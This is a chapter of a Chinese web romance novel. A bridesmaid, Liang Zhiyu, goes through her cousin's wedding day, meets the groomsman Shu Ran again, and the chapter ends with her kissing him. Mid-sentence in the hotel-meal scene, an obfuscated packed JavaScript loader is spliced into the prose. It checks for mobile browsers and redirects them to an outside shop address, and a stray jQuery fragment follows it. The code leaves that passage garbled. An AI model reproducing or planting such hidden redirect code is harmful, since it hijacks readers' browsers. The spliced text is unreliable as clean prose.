43. 43 伴郎
作品:《温带气旋》 翌日清早六点,梁知予顶着一对黑眼圈出了门。
她不知道自己是什么时候睡着的,闹钟响起时,她还以为自己在做梦,直到意识到并未身处家中,才猛地回神——今天是蒋纭的婚礼。
伴娘妆造的顺序,要排在新娘和新娘父母之后。故而当梁知予到达蒋纭的套房时,化妆师正在给姑姑程远宁上口红。
“哎呦,人都老了,涂不涂都一样。”
对着摄像机,姑姑有些不好意思,嘴上推托。
她今天穿了一身红色的旗袍,看着格外喜气,姑父也换上了正式的西装,站在化妆桌旁,拘束地由着别人给他整理衣角。
“阿姨,上镜没有口红,不显气色呀。”化妆师是个圆脸的年轻女孩,笑起来很甜,“今天是你们家大喜的日子,红红火火才是好兆头。”
姑姑笑呵呵:“你这个小姑娘,倒是很会说话。”
卧室里布置一新,蒋纭刚拍完几张晨袍,见了梁知予,连忙招手叫她过来。
“你吃过早饭没有?”蒋纭问,“蕾蕾和小雨下楼买早餐了,我叫她们帮你带了一份。”
“吃了几块饼干,饿倒是不饿。”
说罢,梁知予拉着蒋纭的手,认真打量她的装扮,由衷赞道:“姐,你今天真好看。”
蒋纭现在穿上身的,是一套浅香槟色半袖长裙,微卷的长发半挽,有种慵懒的美。
“我拍的时候特别紧张,”她的手却很凉,“也不知道为什么。对着镜头,总是犯怵。”
梁知予帮她顺了顺鬓边的碎发,笑着打趣:“现在就紧张啦?那等到仪式现场,司仪叫新郎亲吻新娘的时候,你要怎么办?”
蒋纭瞬间涨红了脸,“你……我……我现在就叫他取消那个环节!”
梁知予捧腹直笑,恶作剧得逞似的,趁着蒋纭还没来得及朝她扔枕头,赶紧逃出了卧室,带出一串清脆的笑声。
姑姑望过来,眼神柔和:“你们姐妹俩凑到一起,怎么还越来越幼稚了?知予也就算了,纭纭也真是,都要结婚成家的人了。”
化妆师收拾停当,朝她们喊:“叔叔阿姨的造型都OK了,伴娘可以来准备了。”
蕾蕾和小雨拎着早餐恰巧进门。
三个伴娘囫囵解决了早餐,便紧锣密鼓地排队换衣服做妆造,虽然流程上比新娘妆简单了不少,但等到梁知予最后一个化完,时间也转瞬过了九点。
“来,左边这个伴娘,可以离新娘子再近一点……对,就这样保持,三、二、一!”
拍照,拍照,还是拍照。
既要拍出松弛感,又要兼顾表情管理,梁知予听从摄影师的指挥,脸上的笑肌快要僵硬,一度觉得自己像个牵了线的木偶。
然而最累的还是新娘本人。
才拍完晨袍,蒋纭水都来不及喝一口,就马不停蹄地补妆,换了下一套中式龙凤褂,做新发型,等待新郎来敲门。
期间,还有不少亲戚前来参观,她不得不艰难地分出注意力,和他们打招呼问好。
仅是旁观,梁知予都觉得无比头痛。
虽说新郎新娘双方都已入住酒店,但接亲仪式依然象征性地留存,结合婚庆公司的策划,保留了几个刁难新郎和伴郎的小游戏。
摄影师和她们粗略对了一遍流程,确认过主要机位,还不忘从在场宾客里选了两个力气大的男生,配合一会儿的堵门。
蕾蕾兴奋地对小雨和梁知予低语:“我问过纭纭了,伴郎都是单身的帅哥,姐妹们,机不可失哦。”
梁知予有些愣神,勉强提了几分笑:“我就算了。你们俩加油。”
十点钟,套间房门准时被敲响,各方人员就位。
……
“唱十句包含‘我爱你’的歌词!”
“新娘的高考分数是多少!”
“今天是你们恋爱的第几天!”
……
隔着一扇门,问题连珠炮似的被抛出,打得门外新郎晕头转向。
不过毕竟只是怡情游戏,上网查资料、塞红包放水,无论怎样,总有能通关的办法。
听着门外新郎跑调的唱歌声,屋内笑作一团。
几个伴娘趁机检查红包袋,里头竟然不是开玩笑的小面额零钱,而是货真价实的红色大钞,略一估算,加起来怎么着也都得大几千了。
此招实为必杀。
小雨立即倒戈,眼睛放光,转头问蒋纭:“纭纭,要放人吗?”
蒋纭举着团扇坐在床上,想了想,说道:“让他们进来吧,反正还有别的环节。”
堵门的几人心领神会,终于大发慈悲地松开了手,任由门外久等的新郎及其亲友团大声起哄,蜂拥涌入。
甚至新郎本人都未能幸免身后人推搡,眼镜歪到了一边,模样有些滑稽。
梁知予正想笑,蓦然之间,目光触到什么,表情顿时凝固了。
西装,领结,浅色铃兰胸花,统一的伴郎装束,穿在舒橪宽肩窄腰的衣架子身材上,就是和别人不一样。
梁知予眨了眨眼睛。
以为是幻觉。
可幻觉没有消失。
他经过她身边,温度无比真实。
周遭一切,如同陷入短暂的静止。害她失眠的罪魁祸首,若无其事地与她眼神交汇,把她所有的无措和震惊,一览无余。
好像什么都尽在他掌控。
梁知予脑袋发蒙,僵硬地夹在蕾蕾和小雨中间,往蒋纭身边走。
“怎么了?”小雨察觉出她异样,以为她身体不舒服。
“……没事。”
她强颜欢笑,“差点忘记下个游戏是什么了。”
迎亲环节尚未结束。
新郎一边当散财童子,一边好脾气地恳求新娘亲友团手下留情,惩罚倒是基本由伴郎领受。
蒋纭心软,时不时还要使个眼色提醒,在现场的一众起哄声里,流程进行得十分顺利。
“恭喜新郎历经了所有考验,现在你只需要在房间里找到新娘的另一只婚鞋,就可以带她走了。”
蕾蕾充当主持人,熟练地调动气氛。
房间说大不大,说小不小,被各种装饰物品填充得满满当当,要想找到一只婚鞋,也并非易事。
新郎毫无头绪,翻遍了窗帘后、床底下,被子枕头,甚至还进卫生间找了一圈,却完全不见婚鞋的踪影,急得连连告饶:“姐姐们,妹妹们,给个提示好不好?我真的找不到啊!”
梁知予不禁抿唇一笑。
东西是她亲自藏的,哪有那么容易被找到的道理。
在她不远处,舒橪若有所思地敛眸。
他沉吟两秒,径直走到梁知予面前,向她伸出手。
梁知予:“?”
她怀里抱着个大大的骰子,正是上个游戏环节用的道具。见她不答,舒橪自然而然地上了手,将其整个拎起来,不费多少力气,就摸到了隐藏在车缝线里的拉链。
众目睽睽之下,一只流光璀璨的婚鞋,出现在了舒橪的手上。
“……就猜到你会藏这里。”
他微微侧身过去,用只有两人能听见的音量,恍若耳语。
呼吸轻轻拂过脸颊,带着独属于他的温热。梁知予本能避了避,目光垂悬,落在他衣领别着的胸花上。
白色铃兰,和她手上伴娘腕花一个款式。
看着倒像是一对。
“感谢,感谢!”新郎如释重负,就差没给舒橪叩首,“我急得汗都出来了。”
婚鞋套上,房间内响起了一片祝福的喝彩。新郎春风满面,一把公主抱起蒋纭,大步往门外走去,准备面见双方父母,敬茶改口。
至此,伴娘和伴郎的职责算是告一段落。只待新郎新娘下午在花园拍完室外照片,晚上婚宴开席。
换回各自的休闲衣服,梁知予和蕾蕾、小雨共乘电梯回其所在楼层。
“有个伴郎好帅!”
小雨憋了一上午的惊叹,此刻终于得以宣泄,“接受俯卧撑惩罚的时候,隔着衬衫都能看见肌肉线条!”
蕾蕾深表赞同,顺便撺掇:“回去问纭纭要个联系方式?”
小雨有些腼腆,但禁不住劝,红着脸拿出手机,给蒋纭发微信。
梁知予全程保持着安静,直至回房。
蒋纭帮忙安排了酒店的送餐服务,免得她们伴娘劳累了一上午,还要去餐厅等吃饭。
酒店餐食做得精致,甚至还配了一瓶不错的红酒,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16366791|176067||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
梁知予乘兴喝了两杯,权当助眠,效果倒是奇佳,很快就伴着昏沉困意,蜷进了被子里。
一觉宁静。
没有在梦里见到某个人。
*
婚宴于晚上七点钟开始。
流程都由婚庆公司彩排过,临场倒没出什么大变故。只是新娘入场时,全场灯光昏暗,唯独一道聚光在蒋纭身上,如梦似幻,不知为什么,梁知予的鼻子有些发酸。
……不能哭。
补妆很麻烦。
她坚强地仰头,不让眼里的湿润溢出眼眶。
“擦擦。”
面前忽然出现了一方手帕。
梁知予诧异地转过头。
是舒橪,抽出了他西装前胸口袋里的方巾。
“……谢谢。”
事从权宜,她犹豫了一下,还是接过,稍微按了按眼角。
“不客气。”他淡淡。
长裙没有口袋,用过的手帕无处安放,直接还回去,似乎又不太礼貌。举棋不定之际,舒橪一伸手,轻轻把手帕抽了回去。
然后熟练地叠出一个形状,无比自然地塞回了前胸的口袋里。
仿佛毫不介意,上面沾染了她的痕迹。
梁知予嘴唇动了动,想说什么,但下一秒,工作人员小跑过来,低声催促:“伴郎伴娘快就位,新人马上上台了。”
她如梦初醒,匆忙提起裙摆,走往彩排时定好的方位。
灯光终于大亮。
高朋满座里,新郎新娘彼此宣誓,交换戒指,虔诚亲吻。
双方父母,以及伴娘代表蕾蕾都致了辞。属于新娘的眼泪,似乎永远多于新郎,蒋纭哭得梨花带雨,和母亲紧紧拥抱,像一场盛大迟来的生长痛。
梁知予垂眼,掌心攥得用力,强迫自己分神。
台上的仪式,耗时并不太久,温馨甜蜜的音乐声里,司仪宣告新郎新娘正式喜结连理,台下宾客随即欢腾——
开席。
新人匆匆上楼,去换今晚的最后一套敬酒服,与此同时,伴娘的所有工作基本结束,梁知予长舒一口气,终于能和蕾蕾小雨坐下来吃饭。
其实饥饿感倒是其次,只是脚下的高跟鞋实在不允许梁知予继续保持站姿。她悄悄撩开裙角看了眼脚后跟,果然红了一片,大概已经起了泡。
宴会厅里嘈杂,梁知予的耳朵有点受不住,好在她的座次靠前,新郎新娘敬完主桌,便来到她们面前,笑意盈盈地表示感谢。
帮新郎挡酒的,是舒橪。
有人劝酒,他来者不拒,面不改色地喝下一杯又一杯,还能游刃有余地与人谈笑。
梁知予心里不是滋味。
加上身体实在疲惫,和同桌人打过招呼,便提前离了席。
回到房间,更衣卸妆,终得自在。
她开了电视当背景音,拿衣服进卫生间,洗了个舒舒服服的热水澡。出来正要给梁谨打电话,一通翻找,却不见了手机。
是掉在哪儿了吗?
她狐疑,连忙用房间座机给自己的号码打电话。
连拨三个,竟然无人接听,房间里也全没有铃声响起。
难道是被偷了?
梁知予心底一沉。
静下来思考片刻,印象中最后使用手机的地方,还是宴会厅。
她长叹一声,准备换衣服返回去找。
偏偏此时,门忽然被敲响。
梁知予一愣。
透过门上猫眼,她看清站在门口的人,居然是本该在帮新郎挡酒的舒橪。
“你怎么在这儿?”她打开门,万分讶异。
舒橪对她晃了晃手里的东西:“你不看看自己落了什么。”
——原来是她的手机。
梁知予怔怔地,迟迟未伸手去接。
许是喝酒的缘故,舒橪的西装已不复仪式时那般整齐妥帖,领结被摘下,扣子也松了两颗,整个人透着一种随性的落拓,好似不羁的贵公子。
他微微俯身望着她,眼神像在喂她酒。
梁知予觉得自己真有几分醉了。
遽然间,理智的弦毫无预兆地绷断。
她奋不顾身地上前,勾住舒橪的脖子,蛮横地吻他的唇。

